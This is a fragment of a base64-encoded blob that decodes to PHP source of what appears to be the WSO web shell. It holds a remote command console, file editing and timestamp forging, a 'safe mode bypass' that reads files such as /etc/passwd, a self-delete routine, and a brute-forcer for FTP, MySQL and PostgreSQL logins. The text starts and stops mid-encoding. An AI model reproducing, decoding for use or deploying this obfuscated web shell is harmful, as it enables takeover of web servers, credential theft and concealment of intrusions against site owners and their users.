hdGNhY2hlKCk7IA0KICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ2VkaXQnOiANCiAgICAgICAgICAgIGlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgICAgICAgICBlY2hvICdGaWxlIGlzbid0IHdyaXRlYWJsZSc7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7IA0KICAgICAgICAgICAgICAgICR0aW1lID0gQGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pOyANCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOyANCiAgICAgICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7IA0KICAgICAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAgICAgICAgICAgICAgQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsgDQogICAgICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZwKTsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ1NhdmVkITxicj48c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD4nOyANCiAgICAgICAgICAgICAgICAgICAgQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCwnMScrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsgDQogICAgICAgICAgICAkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAncicpOyANCiAgICAgICAgICAgIGlmKCRmcCkgeyANCiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsgDQogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBlY2hvICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6IA0KICAgICAgICAgICAgJGMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwMSddKTsgDQogICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7IA0KICAgICAgICAgICAgJGxlbiA9IHN0cmxlbigkYyk7IA0KICAgICAgICAgICAgZm9yICgkaT0wOyAkaTwkbGVuOyArKyRpKSB7IA0KICAgICAgICAgICAgICAgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7IA0KICAgICAgICAgICAgICAgIHN3aXRjaCAoIG9yZCgkY1skaV0pICkgeyANCiAgICAgICAgICAgICAgICAgICAgY2FzZSAwOiAgJGhbMl0gLj0gJyAnOyBicmVhazsgDQogICAgICAgICAgICAgICAgICAgIGNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7IA0KICAgICAgICAgICAgICAgICAgICBjYXNlIDEwOiAkaFsyXSAuPSAnICc7IGJyZWFrOyANCiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMzogJGhbMl0gLj0gJyAnOyBicmVhazsgDQogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJG4rKzsgDQogICAgICAgICAgICAgICAgaWYgKCRuID09IDMyKSB7IA0KICAgICAgICAgICAgICAgICAgICAkbiA9IDA7IA0KICAgICAgICAgICAgICAgICAgICBpZiAoJGkrMSA8ICRsZW4pIHskaFswXSAuPSBzcHJpbnRmKCclMDhYJywkaSsxKS4nPGJyPic7fSANCiAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gJzxicj4nOyANCiAgICAgICAgICAgICAgICAgICAgJGhbMl0gLj0gIm4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsgDQogICAgICAgICAgICBicmVhazsgDQogICAgICAgIGNhc2UgJ3JlbmFtZSc6IA0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyANCiAgICAgICAgICAgICAgICBpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICdDYW4ndCByZW5hbWUhPGJyPic7IA0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlICd0b3VjaCc6IA0KICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgeyANCiAgICAgICAgICAgICAgICAkdGltZSA9IHN0cnRvdGltZSgkX1BPU1RbJ3AzJ10pOyANCiAgICAgICAgICAgICAgICBpZigkdGltZSkgeyANCiAgICAgICAgICAgICAgICAgICAgaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnRmFpbCEnOyANCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnVG91Y2hlZCEnOyANCiAgICAgICAgICAgICAgICB9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGNsZWFyc3RhdGNhY2hlKCk7IA0KICAgICAgICAgICAgZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7IA0KICAgICR0ZW1wPScnOyANCiAgICBvYl9zdGFydCgpOyANCiAgICBzd2l0Y2goJF9QT1NUWydwMSddKSB7IA0KICAgICAgICBjYXNlIDE6IA0KICAgICAgICAgICAgJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOyANCiAgICAgICAgICAgIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0ZW1wKSl7IA0KICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsgDQogICAgICAgICAgICAgICAgdW5saW5rKCR0ZW1wKTsgDQogICAgICAgICAgICB9IGVsc2UNCiAgICAgICAgICAgICAgICBlY2hvICdTb3JyeS4uLiBDYW4ndCBvcGVuIGZpbGUnOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAyOiANCiAgICAgICAgICAgICRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7IA0KICAgICAgICAgICAgaWYoIGlzX2FycmF5KCRmaWxlcykgKSANCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKSANCiAgICAgICAgICAgICAgICAgICAgZWNobyAkZmlsZW5hbWUuIm4iOyANCiAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgY2FzZSAzOiANCiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJ4MDAiLnByZWdfcmVwbGFjZSgnIShkKylzLiohJywgJycsIF9fRklMRV9fKSk7IA0KICAgICAgICAgICAgY3VybF9leGVjKCRjaCk7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDQ6IA0KICAgICAgICAgICAgaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOyANCiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgDQogICAgICAgICAgICBpbmNsdWRlKCRfUE9TVFsncDInXSk7IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgICAgICBjYXNlIDU6IA0KICAgICAgICAgICAgZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7IA0KICAgICAgICAgICAgICAgICR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydwMiddKTsgDQogICAgICAgICAgICAgICAgaWYgKCR1aWQpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvIGpvaW4oJzonLCR1aWQpLiJuIjsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgYnJlYWs7IA0KICAgIH0gDQogICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsgDQogICAgZWNobyAnPHNwYW4+Q29weSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTsnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLG51bGwsIjIiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTsnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9J2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5JbmlfcmVzdG9yZSAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTsnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD0nZyhudWxsLG51bGwsIjUiLHRoaXMucGFyYW0xLnZhbHVlLHRoaXMucGFyYW0yLnZhbHVlKTtyZXR1cm4gZmFsc2U7Jz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7IA0KICAgIGlmKCR0ZW1wKSANCiAgICAgICAgZWNobyAnPHByZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuaHRtbHNwZWNpYWxjaGFycygkdGVtcCkuJzwvcHJlPic7IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsgDQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gdHJ1ZTsgDQogICAgICAgICRfUE9TVFsncDEnXSAuPSAnIDI+JjEnOyANCiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddID0gZmFsc2U7IA0KICANCiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsgDQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsgDQogICAgICAgIG9iX3N0YXJ0KCk7IA0KICAgICAgICBlY2hvICJkLmNmLmNtZC52YWx1ZT0nJztuIjsgDQogICAgICAgICR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygibiQgIi4kX1BPU1RbJ3AxJ10uIm4iLndzb0V4KCRfUE9TVFsncDEnXSksIm5ydFwnACIpKTsgDQogICAgICAgIGlmKHByZWdfbWF0Y2goIiEuKmNkcysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKSB7IA0KICAgICAgICAgICAgaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsgDQogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOyANCiAgICAgICAgICAgICAgICBlY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBlY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsgDQogICAgICAgIGVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOyANCiAgICAgICAgJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsgDQogICAgICAgIGVjaG8gc3RybGVuKCR0ZW1wKSwgIm4iLCAkdGVtcDsgDQogICAgICAgIGV4aXQ7IA0KICAgIH0gDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGVjaG8gIjxzY3JpcHQ+IA0KaWYod2luZG93LkV2ZW50KSB3aW5kb3cuY2FwdHVyZUV2ZW50cyhFdmVudC5LRVlET1dOKTsgDQp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7IA0KdmFyIGN1ciA9IDA7IA0KZnVuY3Rpb24ga3AoZSkgeyANCiAgICB2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsgDQogICAgaWYobiA9PSAzOCkgeyANCiAgICAgICAgY3VyLS07IA0KICAgICAgICBpZihjdXI+PTApIA0KICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOyANCiAgICAgICAgZWxzZQ0KICAgICAgICAgICAgY3VyKys7IA0KICAgIH0gZWxzZSBpZihuID09IDQwKSB7IA0KICAgICAgICBjdXIrKzsgDQogICAgICAgIGlmKGN1ciA8IGNtZHMubGVuZ3RoKSANCiAgICAgICAgICAgIGRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsgDQogICAgICAgIGVsc2UNCiAgICAgICAgICAgIGN1ci0tOyANCiAgICB9IA0KfSANCmZ1bmN0aW9uIGFkZChjbWQpIHsgDQogICAgY21kcy5wb3AoKTsgDQogICAgY21kcy5wdXNoKGNtZCk7IA0KICAgIGNtZHMucHVzaCgnJyk7IA0KICAgIGN1ciA9IGNtZHMubGVuZ3RoLTE7IA0KfSANCiAgDQo8L3NjcmlwdD4iOyANCiAgICBlY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGQuY2YuY21kLnZhbHVlPT0nY2xlYXInKXtkLmNmLm91dHB1dC52YWx1ZT0nJztkLmNmLmNtZC52YWx1ZT0nJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOicnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTonJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsgDQogICAgZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7IA0KICAgICAgICBpZigkdiA9PSAnJykgeyANCiAgICAgICAgICAgIGVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsgDQogICAgICAgICAgICBjb250aW51ZTsgDQogICAgICAgIH0gDQogICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsgDQogICAgfSANCiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKSANCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsgDQogICAgZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTonJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTonJyk7fSIgdmFsdWU9Ij4+Ij4gPG5vYnI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oQCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10/J2NoZWNrZWQnOicnKS4nPiByZWRpcmVjdCBzdGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nOyANCiAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgeyANCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJuIi53c29FeCgkX1BPU1RbJ3AxJ10pKTsgDQogICAgfSANCiAgICBlY2hvICc8L3RleHRhcmVhPjx0YWJsZSBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAjZGY1O2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXItdG9wOjBweDsiIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPjwvdGQ+PC90cj48L3RhYmxlPic7IA0KICAgIGVjaG8gJzwvZm9ybT48L2Rpdj48c2NyaXB0PmQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+JzsgDQogICAgd3NvRm9vdGVyKCk7IA0KfSANCiAgDQpmdW5jdGlvbiBhY3Rpb25Mb2dvdXQoKSB7IA0KICAgIHNlc3Npb25fZGVzdHJveSgpOyANCiAgICBkaWUoJ2J5ZSEnKTsgDQp9IA0KICANCmZ1bmN0aW9uIGFjdGlvblNlbGZSZW1vdmUoKSB7IA0KICANCiAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIA0KICAgICAgICBpZihAdW5saW5rKHByZWdfcmVwbGFjZSgnIShkKylzLiohJywgJycsIF9fRklMRV9fKSkpIA0KICAgICAgICAgICAgZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVkJyk7IA0KICAgICAgICBlbHNlDQogICAgICAgICAgICBlY2hvICd1bmxpbmsgZXJyb3IhJzsgDQogICAgaWYoJF9QT1NUWydwMSddICE9ICd5ZXMnKSANCiAgICAgICAgd3NvSGVhZGVyKCk7IA0KICAgIGVjaG8gJzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3ZlIHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLCd5ZXMnKSI+WWVzPC9hPjwvZGl2Pic7IA0KICAgIHdzb0Zvb3RlcigpOyANCn0gDQogIA0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsgDQogICAgd3NvSGVhZGVyKCk7IA0KICAgIGlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgeyANCiAgICAgICAgZWNobyAnPGgxPlJlc3VsdHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48c3Bhbj5UeXBlOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncHJvdG8nXSkuJyA8c3Bhbj5TZXJ2ZXI6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzZXJ2ZXInXSkuJzxicj4nOyANCiAgICAgICAgaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnZnRwJyApIHsgDQogICAgICAgICAgICBmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsgDQogICAgICAgICAgICAgICAgJGZwID0gQGZ0cF9jb25uZWN0KCRpcCwgJHBvcnQ/JHBvcnQ6MjEpOyANCiAgICAgICAgICAgICAgICBpZighJGZwKSByZXR1cm4gZmFsc2U7IA0KICAgICAgICAgICAgICAgICRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7IA0KICAgICAgICAgICAgICAgIEBmdHBfY2xvc2UoJGZwKTsgDQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAnbXlzcWwnICkgeyANCiAgICAgICAgICAgIGZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgeyANCiAgICAgICAgICAgICAgICAkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsgDQogICAgICAgICAgICAgICAgQG15c3FsX2Nsb3NlKCRyZXMpOyANCiAgICAgICAgICAgICAgICByZXR1cm4gJHJlczsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7IA0KICAgICAgICAgICAgZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7IA0KICAgICAgICAgICAgICAgICRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9cG9zdGdyZXMiOyANCiAgICAgICAgICAgICAgICAkcmVzID0gQHBnX2Nvbm5lY3QoJHN0cik7IA0KICAgICAgICAgICAgICAgIEBwZ19jbG9zZSgkcmVzKTsgDQogICAgICAgICAgICAgICAgcmV0dXJuICRyZXM7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgJHN1Y2Nlc3MgPSAwOyANCiAgICAgICAgJGF0dGVtcHRzID0gMDsgDQogICAgICAgICRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7IA0KICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXSA9PSAxKSB7IA0KICAgICAgICAgICAgJHRlbXAgPSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsgDQogICAgICAgICAgICBpZiggaXNfYXJyYXkoJHRlbXApICkgDQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgeyANCiAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOyANCiAgICAgICAgICAgICAgICAgICAgKyskYXR0ZW1wdHM7IA0KICAgICAgICAgICAgICAgICAgICBpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICRsaW5lWzBdKSApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkc3VjY2VzcysrOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7IA0KICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICBpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdG1wID0gIiI7IA0KICAgICAgICAgI